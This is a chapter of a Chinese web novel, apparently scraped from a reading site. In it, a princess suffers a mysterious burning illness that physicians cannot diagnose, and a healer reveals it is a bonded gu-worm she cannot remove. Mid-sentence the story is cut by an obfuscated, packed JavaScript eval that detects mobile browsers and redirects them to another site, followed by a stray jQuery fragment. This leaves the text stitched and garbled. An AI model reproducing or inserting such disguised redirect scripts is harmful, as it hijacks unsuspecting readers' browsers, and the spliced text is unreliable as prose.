默认冷灰
24号文字
方正启体

9. 第9章

作者:小女富贵本书字数:K更新时间:
    “殿下,您怎么了殿下!”


    “快快快!快传御医。”


    曦和殿沸沸扬扬慌作一团,跑去请御医的小男奴连路都走不稳,跌了又爬起,一瘸一拐跑,谁都不敢怠慢。


    午时小公主就觉得胸口又闷又热的,本以为是中暑,早早回了寝殿歇息,可没料到,胸口那火星子一点点蔓延,燃烧至整片身躯,她的五脏六腑,每一寸肌肤都被烈火灼烧,血液烤得沸腾,恍惚要爆破肌肤,喷涌四溅,就连眼珠子都挤得胀痛。


    她不像是被扔进烤炉,像是在自燃,体内有一座阿鼻地狱,要吞噬她。


    迫切地需要一场甘霖冲灭大火,冲刷她每一块血肉。


    于是用寒水裹挟每一寸肌肤,可于事无补。


    迫切地想要什么。


    但又说不出那是什么,好像是一种无穷无尽的东西。


    手指狰狞地蜷缩成一团,只能抓到无边虚无。


    南诏王和南诏王后焦急而至,见小公主那张可爱俏脸此刻狰狞地挤作一团,五官和皱纹堆积,因痛苦扭曲,衣衫被冰水浸透贴在身上,额头布满密密麻麻的汗珠。


    她的身体忍不住乱动,被宫人按住,好让御医诊脉。


    南诏王和南诏王后见此,心疼至极,南诏王后拧着帕子哭得泣不成声,一进屋便跑过去瘫在女儿床边。


    南诏王还算理智,两条腿微微颤抖,路走得有些不太稳,强撑着身体问。


    “小公主究竟是得了什么病。”


    御医诊了好几次脉,眉头皱得一次比一次深,整张脸五味杂陈,不可置信,他拱手,支支吾吾不敢回答。


    见御医这般模样,南诏王的心凉了半截,两条腿软得站不稳,扶着一旁床架,声音都在哆嗦。


    “无妨,你只管说,本王撑得住,不管花费多少财力,不管是多稀世的药材,本王都要找来救阿禾。”


    御医只得硬着头皮答:“回……回王上,殿下面色红润有泽,脉象均匀有力,非常健康,无……任何大碍。”


    南诏王一愣,指着床上“健康无碍”惨叫打滚的乌禾。


    “公主若无碍,怎会如此。”


    御医倏地跪在地上,“是臣无能,诊断不出殿下何病,还望王上另请高明。”


    南诏王深深闭上眸,沉重叹了口气,若是南诏最厉害的御医治不了阿禾,那还有谁可以。


    他突然想到济时拯世,杏林天下的济世门。


    赶忙道:“快!快去请萧公子和司徒姑娘。”


    彼时已是亥夜,萧怀景和司徒雪在睡梦中被人着急忙慌叫醒,穿上衣裳刻不容缓架来曦和殿。


    司徒雪从小习医,这些年走南闯北,什么疑难杂症在她眼里也不过尔尔,若大言不惭些,京城皇宫里老太医的医术也还没有她厉害。


    她首先给小公主把脉,脉象确实健康,甚至气血很足,于是检查她的身体,都没有什么问题,连一个伤口都没有。


    她开始百思不得其解,南诏王问她如何,她如实答:“回王上,公主并没有什么大碍。”


    又是没什么大碍!


    躺在床上,痛得啃床架子的乌禾受够了,口齿不清虚弱道:“你们一个个都是庸医,什么都诊断不出来,本公主怎么会没什么大碍,本公主都快被火烧死了。”


    庸医?司徒雪从来都是在华佗转世,医术高明的追捧下,从未有人质疑过她的医术,想要辩驳,却被师兄轻轻拦下。


    萧怀景绕到她身前,朝公主行了个礼,慢条斯理给她把脉。


    “回王上,殿下是因白日中暑,心火太旺的缘故,在下开一副药,让人给殿下服下便可好转。”


    南诏王还是有些质疑,“只是心火太旺?”


    萧怀景答:“回王上,只是心火太旺。”


    听此,他才松了口气,“那便多谢萧公子和司徒姑娘了。”


    喝了药后,乌禾昏昏沉沉睡了过去。南诏王见此,以为小公主真的没什么事了,连连感谢萧怀景。


    子夜,南诏王宫依旧灯火通明,萧怀景和司徒雪离开了曦和宫。


    二人走在宫道上,司徒雪问:“师兄为何不让我反驳,那公主什么问题都没有,分明是在装病折腾咱们。”


    萧怀景温和答:“我开一副药让她睡过去便好,我们来到南诏王宫人不生地不熟,没必要起不必要的冲突。”


    司徒雪漫不经心问:“只是因为这?师兄难道不是因为在讨好南诏公主?”


    萧怀景沉默不言,眉眼依旧温和,望着南诏天空明亮皎洁的月亮。


    直到司徒雪道,“那不是檀玉吗?”


    萧怀景放下昂首,远远望去,子夜空无一人的宫道上,一抹群青色的身影在宫道尽头,伴随着幽幽的铃铛声,一点点逼近人的耳膜。


    萧怀景总觉得这个少年怪怪的,又说不出哪里怪。


    可师妹觉得他弱小无辜,命运坎坷却依旧心地善良。


    好像看着也是如此,少年总是温和地回应别人,嘴角挂着笑意,像春天山谷里的泉水,清澈又温柔。


    可那双清冷的眸,总像是一潭黑沉沉的死水,没有生机,深深见不到底,一陷进去,就会吃掉你。


    连带那笑,都显得机械。


    “原来是萧公子和司徒姐姐。”


    檀玉步履缓缓走来,嘴角漾着笑意。


    人畜无害。


    檀玉虽是南诏大王子,但他总是一副平易近人的样子,不以殿下自居,反以平民之身相称,名利更是淡如水,实乃君子所为,多少王孙贵族能做到如此?


    萧怀景又觉得,自己是否太过敏感了些。


    “参见大殿下。”萧怀景和司徒雪依礼作揖。


    少年摇了摇头,眉眼温和,“萧公子和司徒姐姐不必称呼我为殿下,像从前一样便好。”


    司徒雪温柔应下,因眼前的少年与弟弟有几分相似,司徒雪心中总是多了几分慈爱与怜悯。


    不免有些担忧问:“这么晚,你这是去哪了。”


    少年眼眸微微眯起,敛着清冷月光,平静答:“去给几个小宠物喂饭吃。”


    司徒雪知道檀玉养了几只虫子,少年弱小,土匪营没有人陪他说话,他就只能跟小虫子聊天,怪可怜的。


    “你可以把它们都带回王宫,几只虫子罢了,偌大的南诏王宫总不至于连虫子都养不起,你也不必日日如此麻烦。”


    檀玉答:“山里的虫子有毒,怕带到王宫会伤到别人,而且听说,妹妹最讨厌虫子了。”


    “你呀,还是太善良了。”


    司徒雪无奈,不知该如何跟檀玉解释,他关心的亲妹妹,其实是个笑面虎,表面上喜欢哥哥,实际是朵野蛮的花,排挤一切外来物,唯恐争夺养分。


    她叹了口气,檀玉好不容易有亲人,还是不破镜花为好。


    “这么晚了,萧公子和司徒姐姐怎么会在这,是来抓坏人吗?”


    少年忽然问。


    “怎么会是来抓坏人。”司徒雪被少年的单纯逗笑,转瞬又抱怨:“还不是因为小公主,分明没什么问题,偏要大半夜把人捉来给她看病,如实讲便埋怨别人是庸医,若不是师兄拦着,我就将她装病的事情说出来了,如今想来师兄是正确的,小公主娇蛮,说不定又是一桩麻烦事。”


    说着她的袖子忽然被扯了扯,萧怀景劝司徒雪莫要再言,她才想起小公主毕竟是檀玉的妹妹。


    赶忙道:“檀玉,我说的话,你别往心里去。”


    司徒雪打量檀玉神色,少年波澜未动,眸子如初,很亮映着泠


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664683|172942||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    泠月光,他平静摇头,“没关系。”


    嘴角扯出一道看似淡然笑意,“妹妹的脾气不好,还望你们多担待。”


    清辉蒙在他俊逸的脸上,但总有一半脸被遮挡住,看不清样子,空洞,黑茫茫的。


    司徒雪对着他那张月光下的脸,“檀玉,你真是一个好哥哥。”


    *


    乌禾醒来时,身体已经没有昨晚那般痛,可心脏还是有些难受,像被一只温热的手紧紧抓着,喘不过气来。


    经历昨晚那般阿鼻地狱般的折磨,此下也不过尔尔。


    南诏御医的医术她是知晓的,司徒雪的医术也听说过,听说是什么中原神医。


    昨日痛得失去理智,此刻清醒过来,她开始思考有什么东西在医术之外,能躲过大夫法眼。


    除了鬼上身,乌禾想到她服下的那枚蛊。


    可她明明吃的是操纵的母虫,为何会有子虫的反应。


    若是蛊虫的话,她连忙让人用松针焚香,整个曦和宫都充满松针的味道,呛得人心肺难受,火上浇油。


    乌禾开始怀疑罗金椛的话,让心腹悄悄去请民间的蛊医过来。


    “此蛊名唤两不离,姑娘所中之蛊乃是蛊中子虫。”


    来人白发苍苍,一身沥青粗布麻衣,脸上沟壑极深。


    听闻改革前是个练蛊高手,如今成了蛊医,专给不幸中蛊的百姓诊治。


    “你确定,你没有看错?”


    乌禾戴着帏帽坐于一方凉亭之中,不知为何,出了宫她的胸口又疼了起来。


    蛊医答:“依老夫多年经验来看,确实不错。”


    定又是罗金椛耍了她,回去再找她算账,当务之急是赶紧解了这蛊。


    乌禾放了一大袋银子在桌上,“还好,只要解了蛊就没事了,还请蛊医帮我解了这蛊,这是定金,事成之后另有感谢。”


    蛊医叹了口气,又把钱推了回来,“姑娘再多的钱,老夫也无能为力,这蛊虫若是进入人体三个时辰以内,可用松针焚香排出,可若三个时辰以外,那子虫应以钻入姑娘心脏,除非剖了心脏取出蛊虫,便别无他法。”


    剖了心脏,这跟送死有什么区别。


    乌禾两眼一黑,静寂的夜无边无际,良久她深吸了口气。


    强撑镇定问,“这蛊不是会让中子蛊的人爱上母蛊,离不开母蛊,一离开便会心口难受吗?可为何是这般心如刀绞,像真的一样。”


    她要的心如刀绞,可不是真的心如刀绞。


    “姑娘,蛊虫并不是法术,自然做不到改变人的情感思想,它只能用疼痛操控人的行为。蛊虫寄生在寄主心脏,连接寄主神经血脉。而所谓的母虫操控子虫,不过是子虫为母虫分裂所生,依附于母虫,离不开母虫,倘若子虫离母虫半仞之外,子虫悲痛欲绝,分泌可让人疼痛的毒素,顺着神经血脉牵扯全身,届时寄主心如刀绞,痛不欲生。”


    “另外,子虫是很敏感脆弱的,它这一辈子只认母虫,可以说,母虫就是子虫的全部,母虫要是对别人有强烈的情感,于子虫而言是抛弃,子虫会觉得没有存在的意义,自行消亡,寄主也会随之死亡。”


    简直荒谬不经,乌禾的眉头微微抽搐,掐着桌子问。


    “这子虫是没有自我吗?偏要绕着母虫转,没了母虫它就活不了吗?”


    她简直受不了这卑微的子虫。


    蛊医摸着花白的胡子,点头赞同,“还真是如此,子虫根本离不开母虫,母虫死了,子虫就会死亡,而母虫寄生在人身上,母虫的寄主死了,子虫的寄主也会死亡。”


    乌禾听进去了,换言说,那个身中母虫的人死了,她也得死。


    反正无论如何,横竖她都离不了一死。


    她很想跟那个人同归于尽。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)